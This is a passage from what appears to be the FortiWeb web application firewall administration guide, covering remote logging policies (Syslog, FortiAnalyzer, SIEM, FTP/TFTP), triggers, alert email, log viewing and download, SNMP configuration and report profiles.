types, packet payload retention, & resource shortage alerts on page 701.

To configure Syslog policies
Before you can log to Syslog, you must enable it for the log type that you want to use as a trigger. For details, see
Enabling log types, packet payload retention, & resource shortage alerts on page 701.
Go to Log&Report > Log Policy > Syslog Policy.
Click Create New.
If the policy is new, in Policy Name, type the name of the policy as it will be referenced in the configuration.
Click Create New.
In IP Address, enter the address of the remote Syslog server.
In Port, enter the listening port number of the Syslog server. The default is 514.
Mark the Enable CSV Format check box if you want to send log messages in comma-separated value (CSV) format.
Mark the Enable TLS check box if you want to create a TLS connection between the FortiWeb and the Syslog server to
protect the log messages transport.
Click OK.
Repeat the Syslog server connection configuration for up to two more servers, if required.
To verify logging connectivity, from the FortiWeb appliance, trigger a log message that matches the types and severity
levels that you have chosen to store on the remote host. Then, on the remote host, confirm that it has received that log
message.
If the remote host does not receive the log messages, verify the FortiWeb appliance’s network interfaces (see
Configuring the network interfaces on page 126) and static routes (see Adding a gateway on page 142), and the policies
on any intermediary firewalls or routers. If ICMP is enabled on the remote host, try using the execute traceroute
command to determine the point where connectivity fails. For details, see the FortiWeb CLI Reference:
See also

l Configuring triggers on page 718
Configuring FortiAnalyzer policies
Before you can store log messages remotely on a FortiAnalyzer appliance, you must first create FortiAnalyzer
connection settings.
Once you create FortiAnalyzer connection settings, it can be referenced by a trigger, which in turn can be selected as a
trigger action in a protection profile, and used to record policy violations.

Logs stored remotely cannot be viewed from the web UI of the FortiWeb appliance.
If you require the ability to view logs from the web UI, also enable local storage. For
details, see Enabling log types, packet payload retention, & resource shortage alerts
on page 701.
To configure FortiAnalyzer policies
Before you can log to FortiAnalyzer, you must enable logging for the log type that you want to use as a trigger. For
details, see Enabling log types, packet payload retention, & resource shortage alerts on page 701.
Go to Log&Report > Log Policy > FortiAnalyzer Policy.
Click Create New.
For Policy Name, enter a unique name that other parts of the configuration can reference. The maximum length is 63
characters.
Click OK.
To add a FortiAnalyzer Server to the policy, click Create New.
Configure the IP Address (IPV4).
Click OK.
Confirm with the FortiAnalyzer administrator that the FortiWeb appliance was added to the FortiAnalyzer appliance’s
device list, allocated sufficient disk space quota, and assigned permission to transmit logs to the FortiAnalyzer
appliance. For details, see the FortiAnalyzer Administration Guide:
http://docs.fortinet.com/fortianalyzer/admin-guides
levels that you have chosen to store on the remote host. Then, on the remote host, confirm that it has received that log
message.
If the remote host does not receive the log messages, verify the FortiWeb appliance’s network interfaces (see
Configuring the network interfaces on page 126) and static routes (see Adding a gateway on page 142), and the policies
on any intermediary firewalls or routers. If ICMP ECHO_RESPONSE (pong) is enabled on the remote host, try using the
execute traceroute command to determine the point where connectivity fails. For details, see the FortiWeb
CLI Reference:
Configuring SIEM policies
Before you store log messages remotely on a SIEM resource, you create SIEM connection settings and add them to a
trigger configuration. Then you select the trigger in a protection profile.
You cannot use the web UI to view logs stored remotely. To view logs from the web
UI, also enable local storage. For details, see Enabling log types, packet payload
retention, & resource shortage alerts on page 701.

To configure SIEM policies
Before you can log to the resource, you enable logging for the log type that you want to use as a trigger. For details, see
Go to Log&Report > Log Policy > SIEM Policy.
Click Create New.
Enter a Policy Name for the policy. You will use the name to refer to the policy in other parts of the configuration.
Click OK.
Click Create New, and then do one of the following:
l To configure a connection to an ArcSight server, for Policy Type, select ArcSight CEF and enter an IP Address
(IPv4) and Port for the server.
l To configure a connection to an QRadar server, for Policy Type, select QRadar CEF and enter an IP Address
(IPv4) and Port for the server.
l To configure a connection to an Azure Event Hub, for Policy Type, select Azure CEF.
The Azure CEF policy type requires you to complete Azure event hub settings through the config system
eventhub CLI command or Azure PowerShell. For details, see the FortiWeb CLI Reference
(https://docs.fortinet.com/document/fortiweb/) and FortiWeb-VM Azure Install Guide
(http://docs.fortinet.com/fortiweb/hardware).
Click OK.
If required, add additional resources to the policy.
levels that you have chosen to store on the remote resource. Then, on the remote resource, confirm that it has received
that log message.
If a SIEM server does not receive the log messages, verify FortiWeb’s network interfaces (see Configuring the network
interfaces on page 126) and static routes (see Adding a gateway on page 142), and the policies for any intermediary
firewalls or routers. If ICMP ECHO_RESPONSE (pong) is enabled on the remote host, try using the execute
traceroute command to determine the point where connectivity fails. For details, see the FortiWeb CLI Reference:
See also


Configuring FTP/TFTP policies
Before you send reports that contain log or other information to an FTP or TFTP server, you create FTP/TFTP
connection settings and add them to a report configuration.
To configure FTP/TFTP policies
Before you can create reports that contain logging information, you enable logging for the log type that you want to
capture in a report. For details, see Enabling log types, packet payload retention, & resource shortage alerts on page
701.
Go to Log&Report > Log Policy > FTP/TFTP Policy.
Click Create New.
FTP/TFTP Policy Name Enter a unique name that other parts of the configuration can reference.
Policy Type Select FTP or TFTP.
Server Enter the IP address of the FTP or TFTP server.
Authentication Specifies whether the server requires a user name and password for
authentication, rather than allowing anonymous connections.
Available only if Policy Type on page 717 is FTP.
Username Enter the user name that FortiWeb uses to authenticate with the server.
Available only if Authentication on page 717 is selected.
Password Enter the password for the specified username.
Available only if Authentication on page 717 is selected.
File Folder Specifies the location on the server where FortiWeb stores reports.
Available only if Policy Type on page 717 is FTP.
Click OK.
To verify logging connectivity, from the FortiWeb appliance, configure a report that uses this FTP/TFTP policy, and then
run it (or wait for it to run at its scheduled time). Then, on the FTP or TFTP server, confirm that FortiWeb transmitted
the report to the specified folder.
For details about configuring FortiWeb to send a report to an FTP or TFTP server, see Selecting the report’s file type &
delivery options on page 739.

See also

Configuring triggers
Triggers are sets of notification servers (Syslog, FortiAnalyzer, and alert email) that you can select in protection rules.
The FortiWeb appliance will contact those servers when traffic violates the policy and therefore triggers logging and/or
alert email.
You can also receive security event notification via SNMP. For details, see SNMP
traps & queries on page 727.
For example, if you create a trigger that contains email and Syslog settings, that trigger can be selected as the trigger
action for specific violations of a protection profile’s sub-rules. Alert email and Syslog records will be created according
to the trigger when a violation of that individual rule occurs.
To configure triggers
Before you create a trigger, first create any settings it will reference, such as email, Syslog and/or FortiAnalyzer settings.
For details, see Configuring email settings on page 725, Configuring Syslog settings on page 713, and Configuring
FortiAnalyzer policies on page 714.
Go to Log&Report > Log Policy > Trigger Policy.
Click Create New.
In Name, type a unique name that can be referenced by other parts of the configuration. The maximum length is 63
characters.
Pick an existing policy from one or more of the four Email, Syslog, FortiAnalyzer, or SIEM policies from the drop-down
lists. FortiWeb will use these notification devices for all protection rule violations that use this trigger.
Click OK.
To apply the trigger, select it in the Trigger Action setting in a web protection feature, such as a hidden field rule, or an
HTTP constraint on illegal host names.
Viewing log messages
You can use the web UI to view and download locally stored log messages. You cannot use the web UI to view log
messages that are stored remotely on Syslog or FortiAnalyzer devices, an ArcSight SIEM Server, or Azure Security
Center.

Depending on the type of log, some log messages cannot be viewed from the web UI.
Log messages are in human-readable format, where each column’s name, such as Source (src in a raw (unformatted)
view), indicates its contents.
To assist you in forensics and troubleshooting false positives, if the request matched an attack signature, the part of the
packet that matched is highlighted.
An attack’s origin is not always the same as the IP that appears in your logs. Network address translation
(NAT) at various points between a web browser and your web servers can mask the original IP address of the attacker.
Depending on your configuration of Use X-Header to Identify Original Client’s IP on page 196, attack logs’ Source
column may contain the IP address of the client according to X-Forwarded-For: or a similar header in the HTTP
layer, not the SRC field in the IP header. In that case, the corresponding traffic log’s Source column will not match,
since it reflects the IP layer.
Typically in this scenario, the connection has been relayed by a load balancer or proxy, and therefore the IP would be
that of the load balancer, which is not the real origin of the attack. Similarly, if Shared IP on page 678 is enabled,
FortiWeb will attempt to differentiate innocent clients that share the same public address with an attacker according to
the IP layer SRC field due to NAT.
Not all attack detections will be logged. In some cases, only one entry will be logged when there are many attack
instances. For details, see Log rate limits on page 700.
Similarly, server information disclosure detections will not be logged if you have configured Action on page 463 to be
Erase, no Alert. For details, see Blocking known attacks & data leaks on page 461.
Viewing raw (unformatted) messages
When you view log messages using the web UI, the log message is displayed in columns, with graphics and other
formatting. In some cases, it is useful to view the log message exactly as it appears in the log file, as a single line of text
consisting of field-value pairs. Use one of the following methods to view a log message in its raw form:
l Right-click a column heading, select Detailed Information, and then click Apply. The log message is displayed
with no formatting in the Detailed Information column.
l Download a complete log file or a file that contains all log messages for a specific time period. For details, see
Downloading log messages on page 722.
Determining whether an attack that generated a message was blocked
Not all detected attacks may be blocked, redirected, or sanitized.

You can use the Action column to determine whether or not an attack attempt was permitted to reach a web server.
(This column is displayed by default. Right-click a column heading to select the columns to display.) Additionally, if the
FortiWeb appliance is operating in Offline Protection mode or Transparent Inspection mode, due to asynchronous
inspection where the attack may have reached the server before it was detected by FortiWeb, you should also examine
the server itself.
To view log messages
Go to one of the log types:

l Log&Report > Log Access > Attack
l Log&Report > Log Access > Event
l Log&Report > Log Access > Traffic

Columns and appearance varies slightly by the log type. For details on structure or interpretations of and
troubleshooting suggestions for individual log messages, see the FortiWeb CLI Reference:
Initially, the page displays the most recent log messages for that log type.
In FortiWeb HA clusters, log messages are recorded on their originating appliance.

If you notice a gap in the logs, a failover may have occurred.
FortiAnalyzer can recognize logs from a FortiWeb High Availability (Active-Active
and Active-Passive) cluster and display aggregated logs from each device in the
cluster under one name. You no longer have to connect to individual cluster
members to view logs from the cluster.
Here, attack log is taken as an example.
Log&Report > Log Access > Attack
(Refresh button) Click to update the page with any logs that have been recorded since you
previously loaded the page.
Add Filter Click to create a filter based on log message fields. Only messages that are in the
most recent 100,000 messages and match the criteria in the filter are displayed.
When you search by date and time, all messages with the selected date are
displayed.
(Save button) Click to save and name the current filter for the convenience of future use.
Saved filter drop-down list Select from the list to apply a previously saved filter.
(drag and drop column heading) Change the order of columns.
(right-click column heading) Right-click a column heading to access settings that add or hide columns that
correspond to log fields or remove any filters you have applied.
Log Management Click to view, download, or clear contents of a selected log file(s).
Generate Log Detail PDF Click to generate a detailed report of the selected attack log message in PDF
format.
Available only for the attack log.
Comments
Click any attack log, you can add/edit comments for this log from the bottom of the detailed page on the right. From the
Comments column, you can see details such as the comments creator, creation time, editor and editing time, etc.
Only one comment is kept for each log. Comments are stored locally, and logs exported and sent do not include
comments. You cannot delete the comments.
Flags

You can set any of the three flags "Action Required", "Action Taken", and "Dismissed" for an attack log by right clicking
the log.
Only one flag can be kept for each log. Flags are stored locally, and logs exported and sent do not include flags. You
cannot clear the flags.
Viewing a single log message as a table
When viewing attack log messages or traffic log messages, you can display the log message as a table in the frame
beside the log view.
To view message details
Go to either Log&Report > Log Access > Attack or Log&Report > Log Access > Traffic.

Click any log message.
The details appear beside the main log table. The arrow icon in the top-left of the details pane allows you to expand or
collapse the pane.
Viewing packet payloads
If you enabled retention of packet payloads from FortiWeb’s HTTP parser for attack and traffic logs, you can view a part
of the payload as dissected by the HTTP parser, in table form, via the web UI. For details, see Enabling log types,
packet payload retention, & resource shortage alerts on page 701.
Packet payload tables display the decoded packet payload associated with the log message that it caused. This
supplements the log message by providing the actual data that triggered the regular expression, which may help you to
fine-tune your regular expressions to prevent false positives, or aid in forensic analysis.
To view a packet payload
Go to either Log&Report > Log Access > Attack or Log&Report > Log Access > Traffic.

In the row corresponding to the log message whose packet payload you want to view, click the log message.
There may not be a Packet Log icon for every log message, such as for normal HTTP responses and attack types
where you have not enabled packet payload retention.
In a frame to the right the log messages, the log message appears in table format, as well as the decoded HTTP
headers and packet payload. Parameters and file uploads are in either the URL or (for HTTP POST requests) Data
fields. Cookies can be either in the Cookie or Data fields.
See also
l Coalescing similar attack log messages on page 723

Downloading log messages
You can download logs that are stored locally (that is, on the FortiWeb appliance’s hard drive) to your management
computer.
In the web UI, there are two different methods:
l Download one or more whole log files. (If the log has not yet been rotated, there may be only one file.)
l Download only the log messages that occurred within a specific time period, regardless of which file contains
them.
To download log messages matching a time period
Go to Log&Report > Log Access > Download.

Log Type Select one of the following log types to download
System Time Displays the date and time according to FortiWeb’s clock at the time that this
page was loaded, or when you last clicked the Refresh button.
Start Time Choose the starting point for the log download by selecting the year, month and
day as well as the hour, minute and second that defines the first of the log
messages to download.
End Time Choose the end point for the log download by selecting the year, month and day
as well as the hour, minute and second that defines the last of the log messages
to download.
Click Download.
If there are no log messages of that log type in that time period, a message appears:
no logs selected
Click Return and revise the time period or log type selection.
If a file download dialog appears, choose the directory where you want to save the file.
Your browser downloads the log file in a .tgz compressed archive. Time required varies by the size of the log and the
speed of the network connection.
To download a whole log file
Go to one of the log types, such as Log&Report > Log Access > Event.

Click Log Management.
A page appears, listing each of the log files for that type that are stored on a local hard drive.
Mark the check box next to the file that you want to download.

Click Download.
Select either Normal format (raw, plain text logs) or CSV format (comma-separated value).
Raw, unencrypted logs can be viewed with a plain text editor. CSV-formatted, unencrypted logs can be viewed with a
spreadsheet application, such as Microsoft Excel or OpenOffice Calc.
If you would like to password-encrypt the log files using 128-bit AES before downloading them, enable Encryption and
type a password in Password.
Encrypted logs can be decrypted and viewed by archive viewers that support this encryption, such as 7zip 9.20 or
WinRAR 5.0.
Click OK.
If a file download dialog appears, choose the directory where you want to save the file.
Your browser downloads the log file as a .log or .csv file, depending on which format you selected. Time required
varies by the size of the log and the speed of the network connection.
Deleting log files
If you have downloaded log files to an external backup, or if you no longer require them, you can delete one or more
locally stored log files to free disk space.
To delete a log file
Go to one of the log types, such as Log&Report > Log Access > Event.

Click Log Management.
A page appears, listing each of the log files for that type that are stored on the local hard drive.
Either:
To delete all log files, mark the check box in the column heading. All rows’ check boxes will become marked.
To delete some log files, mark the check box next to each file that you want to delete.
Click Clear Log.
Coalescing similar attack log messages
FortiWeb can generate many types of attack log messages, including Custom Access Violation, Header Length
Exceeded, IP Reputation Violation, and SQL Injection.
To make attack log messages easier to review, when the total number of attack types exceeds 32 in a single day,
FortiWeb aggregates two types of messages—signature attacks and HTTP protocol constraints violations—in the
Aggregated Attacks page.
For messages generated by a threat score exceeding the threshold, FortiWeb generates one aggregated message for
each day.

For details about the signatures and constraints that generate the aggregated messages, see Blocking known attacks &
data leaks on page 461 and HTTP/HTTPS protocol constraints on page 532.
Some attacks only generate one log message per interval while an attack is
underway. They are effectively already coalesced. For details, see Log rate limits on
page 700 and Viewing log messages on page 718.
To coalesce similar attack log messages
Go to Log&Report > Log Access > Attack and select the Aggregated Attacks tab.

Each row of aggregated log messages is initially grouped into similar attack types, not primarily by day or time.
If you want to aggregate attacks by time instead, click Aggregate log by Date.
Each page in the display contains up to 7 dates of aggregated logs. To view dates before that time, click the arrow to go
to the next page.
To expand a row in order to view individual items comprising it, click the plus sign ( + ) in the # column.
To view a list of all log messages comprising that item, click the item’s row. Details appear in a pane to the right.
Alert email
To notify you of serious attack and/or system failure events, you can configure the FortiWeb appliance to generate an
alert email.
Alerts appear on the dashboard. FortiWeb will also generate alert e-mail if you configure email settings and include
them in a trigger that is used by system resource thresholds and/or traffic policies.
Alert email are based upon events that are also in log messages. If you have received an alert email and want to know
more about the events, go to the corresponding log messages. For details about viewing locally stored log messages,
see Viewing log messages on page 718.
To configure alert email
Configure email settings so that FortiWeb will be able to connect to an SMTP server that will deliver alerts. For details,
see Configuring email settings on page 725.
If you want to receive email about attacks or policy violations, add the email settings to the trigger that is used by those
policies. For details, see Configuring triggers on page 718.
If you want to receive email about system resource statuses, configure alert thresholds. For details, see Enabling log
types, packet payload retention, & resource shortage alerts on page 701.
If you want to receive copies of event log messages via email, For details, see Configuring alert email for event logs on
page 727.

Configuring email settings
If you define email settings, FortiWeb can send email to alert specific administrators or other personnel when a serious
condition or problem occurs, such as a system failure or network attack. Email settings include email address
information for selected recipients and it sets the frequency that emails are sent to those recipients.
For example, you might configure a signature set to monitor for SQL-injection violations and take specific actions if
those types of violations occur. The specific actions can include sending an alert email, in which case the email is sent
to the individuals identified in the email settings attached to the trigger used for the SQL injection violation. The trigger
could also include recording the violation in Syslog or FortiAnalyzer. For more information on Syslog or FortiAnalyzer
settings, see Configuring Syslog settings on page 713 and Configuring FortiAnalyzer policies on page 714.
The alert email settings also enables you to define the interval that emails are sent if the same alert condition persists
following the initial occurrence.
For example, you might configure the FortiWeb appliance to send only one alert message for each 15-minute interval
after warning-level log messages begin to be recorded. In that case, if the alert condition continues to occur for 35
minutes after the first warning-level log message, the FortiWeb appliance would send a total of three alert email
messages, no matter how many warning-level log messages were recorded during that period of time.
For details about the severity levels of log messages, see Log severity levels on page 699.
To configure email settings
Enable alert email for each log type that you want to generate alert email. For details, see Enabling log types, packet
payload retention, & resource shortage alerts on page 701.
Go to Log&Report > Log Policy > Email Policy.
Click Create New.
Policy Name Specify a unique name that can be referenced by other parts of the configuration.
Connection Security Select one of the following options:

l None—FortiWeb applies no security protocol to email.
l STARTTLS—Encrypts the connection to the SMTP server using
STARTTLS.
l SSL/TLS—Encrypts the connection to the SMTP server using SSL/TLS.
SMTP server Type the fully qualified domain name (FQDN, e.g. mail.example.com) or IP
address of the SMTP relay or server, such as a FortiMail appliance, that the
FortiWeb appliance uses to send alerts and generated reports.
Caution: If you enter a domain name, you must also configure the FortiWeb
appliance with at least one DNS server. Failure to configure a DNS server may
cause the FortiWeb appliance to be unable to resolve the domain name, and
therefore unable to send the alert. For details about configuring use of a DNS
server, see Configuring DNS settings on page 150.
SMTP Port Enter the port on the SMTP server that listens for alerts and generated reports

from FortiWeb.
Email From Type the sender email address, such as [email protected], that the
FortiWeb appliance will use when sending alert email messages.
Email To Type up to three recipient email addresses such as [email protected].

Enter one per field.
Authentication Enable if the SMTP relay requires authentication.
SMTP Username Type the user name of the account on the SMTP relay (e.g. fortiweb) that
FortiWeb uses to send alerts.
This option is available only if Authentication on page 726 is enabled.
SMTP Password Type the password of the account on the SMTP relay that FortiWeb uses to send
alerts.
This option is available only if Authentication on page 726 is enabled.
Apply & Test Click to save the current settings and test the connection to the SMTP server.
Log Level Select the priority threshold that log messages must meet or exceed in order to
cause an alert. For details about log levels, see Log severity levels on page 699.
Send email based on interval Enable to configure sending email based on interval time.
time
Interval Type the number of minutes between each alert if an alert condition of the
specified severity level continues to occur after the initial alert.
Enable Email attachments Check to apply compression to the alert email policy. With the compression
compression function being enabled, event logs and alerts will be attached to the emails in ZIP
format, otherwise they will be attached in TXT format.
Company Name Custom your alert email by inserting a company name. Enter a company name;
the specified name will be displayed on the top of the email content.
Company Logo Custom your alert email by inserting a company logo. Select a company logo; the
specified logo will be displayed on the top of the email content. Only JPG is
acceptable, and the maximum acceptable file size of the logo is 36KB.
Click OK.
Group the email settings in a trigger. For details, see Configuring triggers on page 718.
Add the appliance’s sender address to your address book. Depending on your anti-spam software/device, you may also
need to adjust other settings to ensure that email from this appliance is not accidentally dropped or tagged as spam.
To verify your settings and connectivity to the email server/relay, click Apply & Test.
See also
l Configuring alert email for event logs on page 727

Configuring alert email for event logs
You can configure FortiWeb to send an alert email for event log messages.
To configure alert email for event logs
Go to Log&Report > Log Config > Global Log Settings.

Alert Enable to generate alert email when log messages are created.
Mail Distribution of alert email is controlled by email policies and trigger actions associated with
various types of violations. If this option is enabled, but a trigger action is not selected for a
specific type of violation, every occurrence of that violation will result in an alert email to the
individuals associated with the policy selected in the Email Policy on page 727 field.
Note: Alert email are not sent for traffic logs.
Note: Before enabling this option, verify that log frequency is not too great. If logs are very
frequent, enabling this option could decrease performance and cause the FortiWeb appliance
to send you many alert email messages.
Email Policy Select the email settings to use for alert emails. For details, see
Configuring email settings on page 725.
Click Apply.
See also

l Configuring email settings on page 725
l Configuring Syslog settings on page 713
l Configuring FortiAnalyzer policies on page 714
SNMP traps & queries
System > Config > SNMP enables you to configure the FortiWeb appliance’s simple network management protocol
(SNMP) agent to allow queries for system information and to send traps (alarms or event messages) to the computer
that you designate as its SNMP manager. In this way you can use an SNMP manager to monitor the FortiWeb
appliance.

Before you can use SNMP, you must activate the FortiWeb appliance’s SNMP agent and add it as a member of at least
one community. You must also enable SNMP access on the network interface through which the SNMP manager
connects. For details, see Configuring the network interfaces on page 126.
On the SNMP manager, you must also verify that the SNMP manager is a member of the community to which the
FortiWeb appliance belongs, and compile the necessary Fortinet-proprietary management information blocks (MIBs)
and Fortinet-supported standard MIBs. For details about MIBs, see MIB support on page 731.
Failure to configure the SNMP manager as a host in a community to which the

FortiWeb appliance belongs, or to supply it with required MIBs, will make the SNMP
monitor unable to query or receive traps from the FortiWeb appliance.
To configure the SNMP agent
Add the MIBs to your SNMP manager so that you will be able to receive traps and perform queries. For instructions, see
the documentation for your SNMP manager.
Go to System > Config > SNMP.
Configure the following settings:
SNMP Agent Enable to activate the SNMP agent, so that the FortiWeb appliance can send
traps and receive queries for the communities in which you enabled queries and
traps.
For details about communities, see Configuring an SNMP community on page
729.
Description Type a comment about the FortiWeb appliance, such as dont-reboot. The
description can be up to 35 characters long, and can contain only letters (a-z, A-
Z), numbers, hyphens ( - ) and underscores ( _ ).
Location Type the physical location of the FortiWeb appliance, such as floor2. The
location can be up to 35 characters long, and can contain only letters (a-z, A-Z),
numbers, hyphens ( - ) and underscores ( _ ).
Contact Type the contact information for the administrator or other person responsible for
this FortiWeb appliance, such as a phone number (555-5555) or name (jdoe).
The contact information can be up to 35 characters long, and can contain only
letters (a-z, A-Z), numbers, hyphens ( - ) and underscores ( _ ).
Click Apply.
Create at least one SNMP community to define which hosts are allowed to query, and which hosts will receive traps. For
details, see Configuring an SNMP community on page 729.
See also

l Configuring an SNMP community on page 729
l MIB support on page 731

Configuring an SNMP community
An SNMP community is a grouping of equipment for network administration purposes. You must configure your
FortiWeb appliance to belong to at least one SNMP community so that community’s SNMP managers can query the
FortiWeb appliance’s system information and receive SNMP traps from the FortiWeb appliance.
On FortiWeb, SNMP communities are also where you enable the traps that will be sent to that group of hosts.
You can add up to three SNMP communities. Each community can have a different configuration for queries and traps,
and the set of events that trigger a trap. You can also add the IP addresses of up to eight SNMP managers to each
community to designate the destination of traps and which IP addresses are permitted to query the FortiWeb appliance.
To add an SNMP community to the FortiWeb appliance’s SNMP agent
Go to System > Config > SNMP.

If you have not already configured the agent, do so before continuing. For details, see To configure the SNMP agent on
page 728.
Do one of the following:
l To create a SNMP version 1 or 2c community, under SNMP v1/v2c, click Create New.
l To create a SNMP version 3 community, under SNMP v3, click Create New.
SNMP v3 adds more security by using authentication and privacy encryption.

Community Name Type the name of the SNMP community to which the FortiWeb
appliance and at least one SNMP manager belongs, such as public.
The FortiWeb appliance will not respond to SNMP managers whose
query packets do not contain a matching community name. Similarly,
trap packets from the FortiWeb appliance will include community name,
and an SNMP manager may not accept the trap if its community name
does not match.
Caution: Fortinet strongly recommends that you do not add FortiWeb to
the community named public. This popular default name is well-
known, and attackers that gain access to your network will often try this
name first.
Available for SNMP version 1 or 2 communities only.
User Name Type the name that identifies the SNMP user.

Available for SNMP version 3 communities only.
Security Level Choose one of the following three security levels:

l No Authentication, No Privacy—Enables no additional
authentication or encryption compared to SNMP v1 and v2.
l Authentication, No Privacy—Enables authentication only. The
SNMP manager needs to supply the password specified in this
community configuration. Also specify Authentication Algorithm on

page 730 and the associated password.

l Authentication, Privacy—Enables both authentication and
encryption. Also specify Authentication Algorithm on page 730,
Privacy Algorithm on page 730 and the associated passwords.
Ensure that the SNMP manager and FortiWeb use the same
protocols and passwords.
Available for SNMP version 3 communities only.
Authentication If the Security Level on page 729 value includes authentication, specify
Algorithm the authentication protocol and password.
Ensure that the SNMP manager and FortiWeb use the same protocol
and password.
Privacy If Security Level on page 729 is Authentication and Privacy, specify

Algorithm the encryption protocol and password.
Ensure that the SNMP manager and FortiWeb use the same protocol
and password.
Hosts
IP Address Type the IP address of the SNMP manager that, if traps or queries are
enabled in this community:
l Will receive traps from the FortiWeb appliance
l Will be permitted to query the FortiWeb appliance
SNMP managers have read-only access.
To allow any IP address using this SNMP community name to query the
FortiWeb appliance, enter 0.0.0.0. For security best practice reasons,
however, this is not recommended.
Caution:FortiWeb sends security-sensitive traps, which should be sent
only over a trusted network, and only to administrative equipment.
Note: If there are no other host IP entries, entering only 0.0.0.0
effectively disables traps because there is no specific destination for trap
packets. If you do not want to disable traps, you must add at least
one other entry that specifies the IP address of an SNMP manager.
You can add up to 8 SNMP managers.
Queries For each protocol the community uses, enter the port number (161 by
default) on which the FortiWeb appliance listens for SNMP queries from
the SNMP managers in this community, then enable queries for that
protocol.
For supported queries, see the FortiWeb MIB file and MIB support on
page 731.
Traps For each protocol the community uses, enter the port number (162 by
default) for the source port (Local) and destination port (Remote) for
trap packets sent to SNMP managers in this community, then enable
traps for that protocol.
Enable traps for the SNMP events that you want FortiWeb to notify your SNMP managers.
While most trap events are described by their names, the following events occur when a threshold has been exceeded:

l CPU usage is high —CPU usage has exceeded 80%.

l Memory usage is high —Memory (RAM) usage has exceeded 80%.
l Log disk space low—Disk space usage for the log partition/disk has exceeded 80%.
For details about supported traps and queries, see MIB support on page 731.
Click OK.
To verify your SNMP configuration and network connectivity between your SNMP manager and your FortiWeb
appliance, be sure to test both traps and queries (assuming you have enabled both). Traps and queries typically occur
on different port numbers, and therefore verifying one does not necessarily verify that the other is also functional. To
test queries, from your SNMP manager, query the FortiWeb appliance. To test traps, cause one of the events that
should trigger a trap.
MIB support
The FortiWeb SNMP agent supports a few management information blocks (MIBs).
Supported MIBs
Fortinet Core MIB This Fortinet-proprietary MIB enables your SNMP manager to query for system
information and to receive traps that are common to multiple Fortinet devices.
FortiWeb MIB This Fortinet-proprietary MIB enables your SNMP manager to query for
FortiWeb-specific information such as the utilization of each CPU, and to receive
FortiWeb-specific traps, such as when an attack is detected by a signature.
RFC-1213 (MIB II) The FortiWeb SNMP agent supports MIB II groups, except:
l There is no support for the EGP group from MIB II. See RFC 1213
(http://tools.ietf.org/html/rfc1213), section 3.11 and 6.10.
l Protocol statistics returned for MIB II groups (IP, ICMP, TCP, UDP, and so
on.) do not accurately capture all FortiWeb traffic activity. More accurate
information can be obtained from the information reported by the FortiWeb
MIB.
RFC-2665 (Ethernet-like MIB) The FortiWeb SNMP agent supports Ethernet-like MIB information, except the
dot3Tests and dot3Errors groups. See RFC 2665
(https://tools.ietf.org/html/rfc2665).
To obtain these MIB files, go to System > Config > SNMP and click the following links:
l Download FortiWeb MIB File
l Download Fortinet Core MIB File
To communicate with your FortiWeb appliance’s SNMP agent, first compile these MIBs into your SNMP manager. If the
standard MIBs used by the SNMP agent are already compiled into your SNMP manager, you do not have to compile
them again.
To view a trap or query’s name, object identifier (OID), and description, open its MIB file in a plain text editor.
All traps sent include the message, the FortiWeb appliance’s serial number, and host name.
For instructions on how to configure traps and queries, see SNMP traps & queries on page 727.

See also
Reports
FortiWeb can generate reports based on:

l attack, event, and traffic log messages
l vulnerability scans for PCI compliance
When generating a log-based or scan-based report, FortiWeb appliances collate information collected from log files and
scan results, and present the information in tabular and graphical format.
Before it can generate a report, in addition to log files and scan results, FortiWeb appliances require a report profile in
order to generate a report. A report profile is a group of settings that contains the report name, file format, subject
matter, and other aspects that the FortiWeb appliance considers when generating the report.
FortiWeb appliances can generate reports automatically, according to the schedule that you configure in the report
profile, or manually, when you click the Run now icon in the report profile list.
Consider sending reports to your web developers to provide feedback. If your organization develops web applications in-
house, this can be a useful way to quickly provide them information on how to improve the security of the application.
Generating reports can be resource intensive. To avoid traffic processing

performance impacts, you may want to generate reports during times with low traffic
volume, such as at night or weekends. For details about scheduling the generation
of reports, see Scheduling reports on page 738. To determine the current traffic
volume, see HTTP Throughput Monitor widget on page 689.
To configure a report profile
Before you generate a report, collect log data and/or vulnerability scan data that will be the basis of the report. For
details about enabling logging to the local hard disk, see Configuring logging on page 700 and Vulnerability scans on
page 656.
Go to Log&Report > Report > Report Config.
Click Create New.
In Report Name, type the name of the report as it will be referenced in the configuration. The name cannot contain
spaces and is limited to 63 characters.
Select one of the below Types:
On Schedule: Select to run the report at configured intervals. To configure a schedule, see Scheduling reports on page
738.
On Demand: Select to run the report after you complete the configuration.

For on-demand reports, the FortiWeb appliance does not save the report profile
after the generating the report. If you want to save the report profile, but do not want
to generate the report at regular intervals, select On Schedule, but then in the
Schedule section, select Not Scheduled.
In Report Title, type a display name that will appear in the title area of the report. The title may include spaces and is
limited to 42 characters.
In Description, type a comment or other description. There is a 199 character limit.
Click the blue expansion arrow next to each section, and configure these settings:
Properties Select to add logos, headers, footers and company information to customize the
report. For details, see Customizing the report’s headers, footers, & logo on page
734.
Report Scope Select the time span of log messages from which to generate the report. You can
also create a data filter to include in the report only those logs that match a set of
criteria. For details, see Restricting the report’s scope on page 735.
Report Types Select one or more subject matters to include in the report. For details, see
Choosing the type & format of a report profile on page 737.
Report Format Select the number of top items to include in ranked report subtypes, and other
advanced features. For details, see Choosing the type & format of a report profile
on page 737.
Schedule Select when the FortiWeb appliance will run the report, such as weekly or
monthly. For details, see Scheduling reports on page 738.
This section is available only if Type is On Schedule.
Output Select the file formats and destination email addresses, if any, of reports
generated from this report profile. For details, see Selecting the report’s file type
& delivery options on page 739.
Click OK.
On-demand reports are generated immediately. Scheduled reports are generated at intervals set in the schedule. For
details about viewing generated reports, see Viewing & downloading generated reports on page 740.
To generate a report immediately
Mark the check box of the report.

Click Run now.
See also
l Customizing the report’s headers, footers, & logo on page 734

l Restricting the report’s scope on page 735
l Choosing the type & format of a report profile on page 737
l Scheduling reports on page 738
l Selecting the report’s file type & delivery options on page 739

Customizing the report’s headers, footers, & logo
When configuring a report profile, you can provide text and logos to customize the appearance of reports generated
from the profile.
To upload a logo file

Click Create New or select an existing Report Config.
Expand the Properties section.
Company Name Type the name of your company or other organization.
Header Comment Type a title or other information to include in the header.
Footer Comment Select which information to include in the footer:

l Report Title—Use the text from Report Name.
l Custom—Use other text that you type into the field to the right of this
option.
Title Page Logo Select No Logo to omit the title page logo.
Select Custom to include a logo, then click Select to locate the logo file, and
click Upload to save it to the FortiWeb appliance’s hard disk for use in the report
title page.
Header Logo Select No Logo to omit the header logo.

Select Custom to include a logo, then click Select to locate the logo file, and
click Upload to save it to the FortiWeb appliance’s hard disk for use in the report
header. The header logo will appear on every page in PDF- and Microsoft Word
